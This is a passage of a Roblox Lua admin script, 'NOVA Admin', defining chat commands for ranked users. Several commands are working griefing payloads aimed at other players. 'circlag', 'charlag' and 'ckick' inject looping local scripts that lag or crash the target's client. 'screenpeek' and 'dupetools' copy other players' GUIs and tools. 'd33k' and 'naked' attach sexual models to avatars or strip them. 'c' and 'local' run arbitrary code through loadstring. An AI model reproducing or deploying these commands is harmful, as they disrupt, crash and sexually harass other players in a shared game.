    function(Msg,Speaker)
4045
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4046
            table.insert(NOVA.Targeted,v)
4047
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4048
                if part:IsA("Part") then
4049
                    coroutine.resume(coroutine.create(function()
4050
                        local SB = Instance.new("SelectionBox",part)
4051
                        SB.Name = "NOVA Target Selection Box"
4052
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4053
                        SB.Adornee = part
4054
                        wait(3)
4055
                        SB:remove()
4056
                    end))
4057
                end
4058
            end
4059
        end
4060
    end
4061
)
4062
 
4063
AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
4064
    function(Msg,Speaker)
4065
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4066
            for i=1,#NOVA.Targeted do
4067
                if NOVA.Targeted[i] == v then
4068
                    table.remove(NOVA.Targeted,i)
4069
                end
4070
            end
4071
        end
4072
    end
4073
)
4074
 
4075
AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
4076
    function(Msg,Speaker)
4077
        CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
4078
    end
4079
)
4080
 
4081
AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
4082
    function(Msg,Speaker)
4083
        CreateLocalScript([[
4084
       
4085
         LocalPlayer = game:GetService("Players").LocalPlayer
4086
script.Parent = LocalPlayer
4087
            NOVA = {
4088
                Bet = "/";
4089
                Services = {
4090
                    Workspace = game:GetService("Workspace");
4091
                    Lighting = game:GetService("Lighting");
4092
                    Debris = game:GetService("Debris");
4093
                    Players = game:GetService("Players");
4094
                    Teams = game:GetService("Teams");
4095
                    SoundService = game:GetService("SoundService");
4096
                    StarterGui = game:GetService("StarterGui");
4097
                    StarterPack = game:GetService("StarterPack");
4098
                };
4099
               
4100
                Camera = workspace.CurrentCamera;
4101
                LocalCharacter = Instance.new("Model");
4102
                LocalHead = Instance.new("Part");
4103
                LocalFire = Instance.new("Fire");
4104
            }
4105
            script.Name = NOVA.LocalPlayer.Name
4106
            script.Parent = nil
4107
            repeat wait() until NOVA.LocalPlayer.Parent == nil
4108
            game.Players.LocalPlayer.Chatted:connect(function(Msg)
4109
            if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
4110
                    game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
4111
                   
4112
                    if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
4113
                        game:GetService'TeleportService':Teleport(game.PlaceId)
4114
                    end
4115
                    if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
4116
                        pcall(function()
4117
                            newScript(Msg:sub(4),workspace)
4118
                        end)
4119
                    end
4120
                    if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
4121
                        coroutine.resume(coroutine.create(function()
4122
                            pcall(function()
4123
                                loadstring(Msg:sub(8))()
4124
                            end)
4125
                        end))
4126
                    end
4127
                    if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
4128
                        LocalPlayer.Character = workspace
4129
                    end
4130
                end
4131
            end)
4132
           
4133
            NOVA.LocalPlayer.Character = nil
4134
            NOVA.LocalHead.FormFactor = "Custom"
4135
            NOVA.LocalHead.Size = Vector3.new(3,3,3)
4136
            NOVA.LocalHead.Reflectance = 1e+999
4137
            NOVA.LocalHead.Shape = "Ball"
4138
            NOVA.LocalHead.Anchored = true
4139
            NOVA.LocalHead.CanCollide = false
4140
            NOVA.LocalHead.Transparency = 0
4141
            NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
4142
           
4143
            NOVA.LocalFire.Color = Color3.new(0,0,0)
4144
            NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
4145
            NOVA.LocalFire.Heat = 12
4146
            NOVA.LocalFire.Size = 7    
4147
 
4148
            while wait() do
4149
                pcall(function()
4150
                    NOVA.LocalCharacter.Parent=workspace
4151
                    NOVA.LocalHead.Parent = NOVA.LocalCharacter
4152
                    NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
4153
                    NOVA.LocalFire.Parent = NOVA.LocalHead
4154
                end)
4155
            end
4156
        ]],Speaker.Backpack)
4157
    end
4158
)
4159
 
4160
 
4161
AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
4162
    function(Msg,Speaker)
4163
        CreateScript(Msg,workspace)
4164
    end
4165
)
4166
 
4167
AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
4168
    function(Msg,Speaker)
4169
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4170
            CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4171
        end
4172
    end
4173
)
4174
 
4175
AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
4176
    function(Msg,Speaker)
4177
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4178
            CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4179
        end
4180
    end
4181
)
4182
 
4183
AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
4184
    function(Msg,Speaker)
4185
        CreateLocalScript(Msg,Speaker.Backpack)
4186
    end
4187
)
4188
 
4189
AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
4190
    function(Msg,Speaker)
4191
        for _,v in pairs(GetRecursiveChildren(workspace)) do
4192
            pcall(function()
4193
                v.Transparency = 7.3015691270939e-002
4194
            end)
4195
        end
4196
    end
4197
)
4198
 
4199
AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
4200
    function(Msg,Speaker)
4201
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4202
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4203
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4204
            else
4205
                pcall(function()
4206
                    CreateLocalScript([==[
4207
                        LocalPlayer = game:GetService("Players").LocalPlayer
4208
                        Camera = workspace.CurrentCamera
4209
                        while wait() do
4210
                            for i=1,10 do
4211
                                Part = Instance.new("Seat",Camera)
4212
                                Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
4213
                                Part.Shape = "Ball"
4214
                                Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
4215
                                Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
4216
                            end
4217
                        end
4218
                    ]==],v.Backpack)
4219
                end)
4220
            end
4221
        end
4222
    end
4223
)
4224
 
4225
AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
4226
    function(Msg,Speaker)
4227
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4228
            CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
4229
        end
4230
    end
4231
)
4232
 
4233
AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
4234
    function(Msg,Speaker)
4235
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4236
            for _,GUI in pairs(v.PlayerGui:children()) do
4237
                GUI:Clone().Parent = Speaker.PlayerGui
4238
            end
4239
        end
4240
    end
4241
)
4242
 
4243
AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
4244
    function(Msg,Speaker)
4245
        for _,v in pairs(NOVA.Targeted) do
4246
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4247
                if part:IsA("Part") then
4248
                    coroutine.resume(coroutine.create(function()
4249
                        local SB = Instance.new("SelectionBox",part)
4250
                        SB.Name = "NOVA Target Selection Box"
4251
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4252
                        SB.Adornee = part
4253
                        wait(3)
4254
                        SB:remove()
4255
                    end))
4256
                end
4257
            end
4258
        end
4259
    end
4260
)
4261
 
4262
AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
4263
    function(Msg,Speaker)
4264
        if Msg:sub(1,4) == "add" .. NOVA.Bet then
4265
            Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
4266
        elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
4267
            Speaker:SaveString("NoteToSelf",Msg:sub(5))
4268
        elseif Msg == "see" then
4269
            Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
4270
        end
4271
    end
4272
)
4273
 
4274
AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
4275
    function(Msg,Speaker)
4276
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4277
            local Char = v.Character
4278
            local Smite = Instance.new("Part",workspace)
4279
            Smite.FormFactor = "Custom"
4280
            Smite.TopSurface = "Smooth"
4281
            Smite.BottomSurface = "Smooth"
4282
            Smite.Anchored = true
4283
            Smite.Locked = true
4284
            Smite.Size = Vector3.new(25,3,25)
4285
            Smite.BrickColor = BrickColor.new("New Yeller")
4286
            Smite.Transparency = 1
4287
            Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
4288
            for i=1,0,-0.05 do
4289
                wait()
4290
                Smite.Transparency = i
4291
            end
4292
            coroutine.resume(coroutine.create(function()
4293
                for i=0,1,0.05 do
4294
                    wait()
4295
                    Smite.Transparency = i
4296
                end
4297
                Smite:remove()
4298
            end))
4299
            wait()
4300
            local Expl = Instance.new("Explosion",workspace)
4301
            Expl.Position = Smite.Position
4302
            Expl.BlastPressure = 1000000000
4303
           
4304
            for _,Part in pairs(GetRecursiveChildren(Char)) do
4305
                if Part:IsA("BasePart") then
4306
                    coroutine.resume(coroutine.create(function()
4307
                        for i=1,10 do
4308
                            local Sparkles = Instance.new("Sparkles",Part)
4309
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4310
                            local Fire = Instance.new("Fire",Part)
4311
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4312
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4313
                        end
4314
                        Part:BreakJoints()
4315
                        local BP = Instance.new("BodyPosition",Part)
4316
                        BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
4317
                        BP.P = 1000
4318
                        BP.position = Part.Position + Vector3.new(
4319
                            math.random(-100,100),
4320
                            100,
4321
                            math.random(-100,100))
4322
                        wait(3)
4323
                        local Expl = Instance.new("Explosion",workspace)
4324
                        Expl.Position = Part.Position
4325
                        Expl.BlastPressure = 1000000000
4326
                    end))
4327
                end
4328
            end
4329
        end
4330
    end
4331
)
4332
AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
4333
    function(Msg,Speaker)
4334
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4335
            pcall(function()
4336
        v.Character.Pants:Remove()
4337
        v.Character.Shirt:Remove()
4338
            end)
4339
        end
4340
    end
4341
)
4342
 
4343
AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
4344
    function(Msg,Speaker)
4345
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4346
               
4347
                        v.Character.Humanoid.Changed:connect(function(val)
4348
                                if val == "Health" then
4349
                                        v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
4350
                                end
4351
 
4352
                       
4353
             end)
4354
        end
4355
    end
4356
)
4357
 
4358
 
4359
AddCommand("Remove Tablets","rtab",7,"Removes tablets from player.","<Player>",
4360
    function(Msg,Speaker)
4361
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4362
       
4363
        RemoveTablets(v)
4364
 
4365
        end
4366
    end
4367
)
4368
AddCommand("Un D33k","und33k",7,"Removes the player's d33k.","No Arguments",
4369
    function(Msg,Speaker)
4370
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4371
        pcall(function()
4372
        person=v.Name
4373
        local plr = Game.Players[person]
4374
        color = "Pastel brown"
4375
        pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
4376
                        end)
4377
                        end
4378
                end
4379
)
4380
AddCommand("D33k","d33k",7,"Gives the player a d33k.","No Arguments",
4381
    function(Msg,Speaker)
4382
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4383
        pcall(function()
4384
        person=v.Name
4385
        local plr = Game.Players[person]
4386
        color = "Pastel brown"
4387
        pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
4388
        D = Instance.new("Model",plr.Character)
4389
        D.Name = "Nice thing"
4390
        bg = Instance.new("BodyGyro",plr.Character.Torso)
4391
        d = Instance.new("Part")
4392
        d.TopSurface = 0
4393
        d.BottomSurface = 0
4394
        d.Name = "Main"
4395
        d.Parent = plr.Character["Nice thing"]
4396
        d.formFactor = 3
4397
        d.Size = Vector3.new(0.6,2.5,0.6)
4398
        d.BrickColor = BrickColor.new(color)
4399
        d.Position = plr.Character.Head.Position
4400
        d.CanCollide = false
4401
        local cy = Instance.new("CylinderMesh")
4402
        cy.Parent = d
4403
        w = Instance.new("Weld")
4404
        w.Parent = plr.Character.Head
4405
        w.Part0 = d
4406
        w.Part1 = plr.Character.Head
4407
        w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
4408
        local c = Instance.new("Part")
4409
                c.Name = "Mush"
4410
        c.BottomSurface = 0
4411
        c.TopSurface = 0
4412
        c.FormFactor = 3
4413
        c.Size = Vector3.new(0.6,0.6,0.6)
4414
        c.CFrame = CFrame.new(d.Position)
4415
        c.BrickColor = BrickColor.new("Pink")
4416
        c.CanCollide = false
4417
        c.Parent = plr.Character["Nice thing"]
4418
        local msm = Instance.new("SpecialMesh")
4419
        msm.Parent = c
4420
        msm.MeshType = "Sphere"
4421
        local cw = Instance.new("Weld")
4422
        cw.Parent = c
4423
        cw.Part0 = d
4424
        cw.Part1 = c
4425
        cw.C0 = CFrame.new(0,1.3,0)
4426
        local ball1 = Instance.new("Part")
4427
        ball1.Parent = plr.Character["Nice thing"]
4428
        ball1.Name = "Left Ball"
4429
        ball1.BottomSurface = 0
4430
        ball1.TopSurface = 0
4431
        ball1.CanCollide = false
4432
        ball1.formFactor = 3
4433
        ball1.Size = Vector3.new(1,1,1)
4434
        ball1.CFrame = CFrame.new(plr.Character["Left Leg"].Position)
4435
        ball1.BrickColor = BrickColor.new(color)
4436
        local bsm = Instance.new("SpecialMesh")
4437
        bsm.Parent = ball1
4438
        bsm.MeshType = "Sphere"
4439
        local b1w = Instance.new("Weld")
4440
        b1w.Parent = ball1
4441
        b1w.Part0 = plr.Character["Left Leg"]
4442
        b1w.Part1 = ball1
4443
        b1w.C0 = CFrame.new(0,0.5,-.5)
4444
        local ball2 = Instance.new("Part")
4445
        ball2.Parent = plr.Character["Nice thing"]
4446
        ball2.Name = "Right Ball"
4447
        ball2.BottomSurface = 0
4448
        ball2.CanCollide = false
4449
        ball2.TopSurface = 0
4450
        ball2.formFactor = 3
4451
        ball2.Size = Vector3.new(1,1,1)
4452
        ball2.CFrame = CFrame.new(plr.Character["Right Leg"].Position)
4453
        ball2.BrickColor = BrickColor.new(color)
4454
        local b2sm = Instance.new("SpecialMesh")
4455
        b2sm.Parent = ball2
4456
        b2sm.MeshType = "Sphere"
4457
        local b2w = Instance.new("Weld")
4458
        b2w.Parent = ball2
4459
        b2w.Part0 = plr.Character["Right Leg"]
4460
        b2w.Part1 = ball2
4461
        b2w.C0 = CFrame.new(0,0.5,-.5)
4462
            end)
4463
        end
4464
    end
4465
)
4466
AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
4467
    function(Msg,Speaker)      
4468
        NOVA.Bet = Msg
4469
    end
4470
)
4471
AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
4472
    function(Msg,Speaker)
4473
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4474
           
4475
            coroutine.resume(coroutine.create(function()
4476
                                while wait() do
4477
            for i = 1, 100 do
4478
            if v:findFirstChild("PlayerGui") ~= nil then
4479
            local mes = Instance.new("Message", v.PlayerGui)
4480
            mes.Text = "Crashing"
4481
            local ex = Instance.new("Explosion", v.PlayerGui)
4482
            ex.BlastRadius = math.huge
4483
            local hint = Instance.new("Hint", v.PlayerGui)
4484
            hint.Text = "---------------------------------------------------------------------------"
4485
            local s = Instance.new("ScreenGui", v.PlayerGui)
4486
            local txt = Instance.new("TextBox", s)
4487
            txt.Size = UDim2.new(1, 0, 1, 0)
4488
            txt.Text = "Your Being Lagged"
4489
            txt.FontSize = "Size48"
4490
            end
4491
            end
4492
                                end
4493
            end))
4494
        end
4495
    end
4496
)
4497
AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
4498
    function(Msg,Speaker)
4499
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4500
            pcall(function()
4501
            v.Chatted:connect(function(Msg)
4502
            local m = Instance.new("Explosion",v.Character.Head)
4503
            m.Position = v.Character.Head.Position
4504
            end)
4505
            end)
4506
        end
4507
    end
4508
)
4509
AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
4510
    function(Msg,Speaker)
4511
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4512
            pcall(function()
4513
                for _,Part in pairs(GetRecursiveChildren(v.Character)) do
4514
                    if Part:IsA("BasePart") then
4515
                        for i=1,10 do
4516
                            local Sparkles = Instance.new("Sparkles",Part)
4517
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4518
                            local Fire = Instance.new("Fire",Part)
4519
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4520
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4521
                        end
4522
                    end
4523
                end
4524
            end)
4525
        end
4526
    end
4527
)
4528
 
4529
AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
4530
    function(Msg,Speaker)
4531
        if NOVA.ShowChat == true then
4532
            NOVA.ShowChat = false
4533
        elseif NOVA.ShowChat == false then
4534
            NOVA.ShowChat = true
4535
        end
4536
    end
4537
)
4538
 
4539
 
4540
AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
4541
    function(Msg,Speaker)
4542
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4543
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4544
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4545
            else
4546
                pcall(function()
4547
                    CreateLocalScript([[
4548
                        script.Parent = workspace.CurrentCamera
4549
                        while wait() do
4550
                            coroutine.resume(coroutine.create(function()
4551
                                for i=1,math.huge do
4552
                                    wait()
4553
                                    for i=1,10 do
4554
                                        NS = script:Clone()
4555
                                        NS.Disabled = true
4556
                                        NS.Parent = game:GetService("Players").LocalPlayer.Backpack
4557
                                        NS.Disabled = false
4558
                                    end
4559
                                    for i=1,10 do
4560
                                        game:GetService("Players").LocalPlayer.Character.Archivable = true
4561
                                        local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
4562
                                        Clone.Parent = workspace.CurrentCamera
4563
                                    end
4564
                                end
4565
                            end))
4566
                        end]],
4567
                    v.Backpack)
4568
                end)
4569
            end
4570
        end
4571
    end
4572
)
4573
 
4574
AddCommand("Building","building",1,"Generates a building.","No Arguments",
4575
    function(Msg,Speaker)
4576
        Output("This command has been disabled/depricated.",NOVA.Colors.Orange,Speaker,5)
4577
    end
4578
)
4579
 
4580
AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
4581
    function(Msg,Speaker)
4582
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4583
            pcall(function()
4584
                v.Character.Humanoid.PlatformStand = true
4585
            end)
4586
        end
4587
    end
4588
)
4589
 
4590
AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
4591
    function(Msg,Speaker)
4592
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4593
            pcall(function()
4594
                v.Character.Humanoid.PlatformStand = false
4595
            end)
4596
        end
4597
    end
4598
)
4599
 
4600
AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
4601
    function(Msg,Speaker)
4602
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4603
            pcall(function()
4604
                for _,Tool in pairs(v.Backpack:GetChildren()) do
4605
                    Tool:Clone().Parent = Speaker.Backpack
4606
                end
4607
            end)
4608
        end
4609
    end
4610
)
4611
 
4612
AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
4613
    function(Msg,Speaker)
4614
        local Give = {}
4615
        for _,v in pairs(NOVA.Services.Lighting:children()) do
4616
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4617
                function()
4618
                    table.insert(Give,v:Clone())
4619
                end
4620
            )
4621
        end
4622
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4623
            function()
4624
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4625
                    for _,Tool in pairs(Give) do
4626
                        Tool:Clone().Parent = v.Backpack
4627
                    end
4628
                end
4629
                RemoveTablets(Speaker)
4630
            end
4631
        )
4632
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4633
    end
4634
)
4635
 
4636
AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
4637
    function(Msg,Speaker)
4638
        pcall(function()
4639
            for _,Tool in pairs(Speaker.Backpack:children()) do
4640
                Tool:Clone().Parent = NOVA.Services.Lighting
4641
            end
4642
        end)
4643
    end
4644
)
4645
 
4646
AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
4647
    function(Msg,Speaker)
4648
        Split = GetSplit(Msg)
4649
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4650
            if v:FindFirstChild("PlayerGui") ~= nil then
4651
                makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
4652
            end
4653
        end
4654
    end
4655
)
4656
 
4657
AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
4658
    function(Msg,Speaker)
4659
        local Data = GetRankedTable(Speaker)
4660
        Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
4661
        Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
4662
        Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
4663
            function()
4664
                RemoveTablets(Speaker)
4665
                OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
4666
            end
4667
        )
4668
        Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
4669
        Output("How to use commands.",Data.Color,Speaker,nil,
4670
            function()
4671
                RemoveTablets(Speaker)
4672
                Output("To use a command you use 2 backslashes then the arguments seperated by backslashes.",Data.Color,Speaker)
4673
                Output("Please note it is a backslash ( located above/around the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
4674
                Output("Example : /kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
4675
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
4676
            end
4677
        )
4678
        Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
4679
    end
4680
)
4681
 
4682
AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
4683
    function(Msg,Speaker)
4684
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
4685
            if v:IsA("Script") then
4686
                v.Disabled = true
4687
                v.Parent = NOVA.Services.Debris
4688
                v.Disabled = true
4689
                v:Destroy()
4690
                v.Parent = NOVA.Services.Debris
4691
                v.Disabled = true
4692
                v:Destroy()
4693
            end
4694
        end
4695
    end
4696
)
4697
 
4698
 
4699
AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
4700
    function(Msg,Speaker)
4701
        pcall(function()
4702
            CreateLocalScript([[
4703
                game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
4704
                ]],
4705
                Speaker.Backpack
4706
            )
4707
        end)
4708
    end
4709
)
4710
 
4711
AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
4712
    function(Msg,Speaker)
4713
        pcall(function()
4714
            NOVA.Sounds.Sound.Pitch = tonumber(Msg)
4715
        end)
4716
    end
4717
)
4718
AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
4719
    function(Msg,Speaker)
4720
        pcall(function()
4721
            NOVA.Sounds.Sound.Looped = Msg
4722
        end)
4723
    end
4724
)
4725
AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
4726
    function(Msg,Speaker)
4727
        Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
4728
    end
4729
)
4730
AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
4731
    function(Msg,Speaker)
4732
        local Give = {}
4733
        for _,v in pairs(NOVA.Plugins) do
4734
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4735
                function()
4736
                    table.insert(Give,v:Clone())
4737
                end
4738
            )
4739
        end
4740
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4741
            function()
4742
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4743
                    for _,Tool in pairs(Give) do
4744
                        New = Tool:Clone()
4745
                        New.Parent = v.Backpack
4746
                        pcall(function()
4747
                            New.Disabled = false
4748
                        end)
4749
                    end
4750
                end
4751
                RemoveTablets(Speaker)
4752
            end
4753
        )
4754
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4755
    end
4756
)
4757
AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
4758
    function(Msg,Speaker)
4759
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4760
            pcall(function()
4761
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4762
                    part.Locked = true
4763
                end
4764
            end)
4765
        end
4766
    end
4767
)
4768
AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
4769
    function(Msg,Speaker)
4770
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4771
            pcall(function()
4772
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4773
                    part.Locked = false
4774
                end
4775
            end)
4776
        end
4777
    end
4778
)
4779
AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
4780
    function(Msg,Speaker)
4781
        Split = GetSplit(Msg)
4782
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4783
            pcall(function()
4784
                CreateLocalScript(Msg:sub(Split+1),v.Backpack)
4785
            end)
4786
        end
4787
    end
4788
)
4789
AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
4790
    function(Msg,Speaker)
4791
        NOVA.Services.Lighting.Brightness = tonumber(Msg)
4792
    end
4793
)
4794
AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
4795
    function(Msg,Speaker)
4796
        pcall(function()
4797
            Rtn = CFrame.new(
4798
                Speaker.Character.Torso.CFrame.x,
4799
                Speaker.Character.Torso.CFrame.y,
4800
                Speaker.Character.Torso.CFrame.z
4801
            )
4802
            table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
4803
        end)
4804
    end
4805
)
4806
AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
4807
    function(Msg,Speaker)
4808
        for _,v in pairs(NOVA.Waypoints) do
4809
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4810
                pcall(function()
4811
                    RemoveTablets(Speaker)
4812
                    Speaker.Character.Torso.CFrame = v.CFrame
4813
                end)
4814
            end)
4815
        end
4816
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4817
    end
4818
)
4819
AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
4820
    function(Msg,Speaker)
4821
        Rtn = {}
4822
        for num,v in pairs(NOVA.Waypoints) do
4823
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4824
                table.insert(Rtn,num)
4825
            end)
4826
        end
4827
        Output("Done",NOVA.Colors.Green,Speaker,nil,function()
4828
            RemoveTablets(Speaker)
4829
            for _,v in pairs(Rtn) do
4830
                table.remove(NOVA.Waypoints,v)
4831
            end
4832
        end)
4833
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4834
    end
4835
)
4836
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
4837
    function(Msg,Speaker)
4838
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4839
            pcall(function()
4840
                for i=0,3 do
4841
                    Instance.new("HopperBin",v.Backpack).BinType = i
4842
                end
4843
            end)
4844
        end
4845
    end
4846
)
4847
AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
4848
    function(Msg,Speaker)
4849
        local MainColor = Color3.new(0,0,0)
4850
        local SeccondaryColor = Color3.new(0.69,0.13,0.13)
